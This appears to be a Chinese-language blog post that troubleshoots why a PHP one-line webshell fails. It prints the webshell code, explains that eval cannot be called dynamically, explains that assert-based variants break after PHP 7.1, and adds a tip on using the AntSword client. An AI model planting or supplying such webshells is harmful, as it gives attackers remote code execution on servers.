一句話木馬踩坑記
- 2019 年 11 月 7 日
- 筆記
前言
我太菜了,今天有學弟拿著一個一句話過來找我,說鏈接不上
<?php $a="eval"; $a(@$_POST['a']); ?>
最開始以為是版本的問題
然後開始踩坑了
測試
我自己用帶毒的phpstudy測試了一下:
在php5的版本裡面報錯:
Fatal error: Call to undefined function eval() in E:softwarePhpStudyPHPTutorialWWW1.php on line 3
在php7裡面報錯:
Fatal error: Uncaught Error: Call to undefined function eval() in E:softwarePhpStudyPHPTutorialWWW1.php:3 Stack trace: #0 {main} thrown in E:softwarePhpStudyPHPTutorialWWW1.php on line 3
請教了一個大佬:
我: <?php $a = "eval"; $a(@$_POST['a']); ?> 這種木馬 您能用嗎 大佬: 咋不能用? 大佬: 一個簡單的變形沒看懂嗎 我: php的文檔說 eval不是函數 大佬: 本來就是語言構造器 我: 您測試成功了馬 大佬: 你網上花錢找個師傅吧 我不提供問題解答哈 我: 哦 好吧 大佬: Assert也是一樣可以的,自己試
好尷尬啊,被大佬教育了一波,我太菜了,於是乎查了查文檔,然後自己又測試了一下:
給了一個合理的解釋:
eval是因為是一個語言構造器而不是一個函數,不能被可變函數調用。
什麼是可變函數呢:
PHP 支援可變函數的概念。這意味著如果一個變數名後有圓括弧,PHP 將尋找與變數的值同名的函數,並且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途。 可變函數不能用於例如 echo,print,unset(),isset(),empty(),include,require 以及類似的語言結構。需要使用自己的包裝函數來將這些結構用作可變函數。
所以我在懷疑,有些大佬們都是照抄assert的變形方式沒有測試過就放到部落格上了就是說,如果換了assert,這個是可以用的
結論:
eval不能用,assert可以用。
深入
在php5的版本:
正常
繼續測試一下assert
在php7.0的版本:
正常
在php7.1往後的版本:
Warning: Cannot call assert() with string argument dynamically in E:softwarePhpStudyPHPTutorialWWW1.php on line 3
網上搜索了一下:
assert()默認不在可以執行程式碼 這就是眾多馬不能用的罪魁禍首了,太多的馬用assert()來執行程式碼了,這個更新基本就團滅,一般情況下修改成eval即可正常運行了~
這樣一看問題基本明晰了,然後又看了一眼文檔
7.0.0 assert() is now a language construct and not a function. assertion() can now be an expression. The second parameter is now interpreted either as an exception (if a Throwable object is given), or as the description supported from PHP 5.4.8 onwards.
在php7裡面 是語言構造器。
結論
eval不能用,php7.1之後assert()也不能用
最後說一下,蟻劍是可以用assert的,不過編碼最後使用base64
後記
直接百度了一下:
還是有幾個大佬寫的有這種問題的。
最後可能是我認知上出現了問題,冒犯到大佬,還望見諒。
有不當之處,多多指正,感謝大佬們教我做人。
我還是太菜了。
相關鏈接
https://www.php.net/manual/zh/functions.variable-functions.php
https://www.php.net/manual/zh/function.assert.php
http://www.vuln.cn/8395
https://www.xmsec.cc/few-security-changes-between-php-7-and-php-5/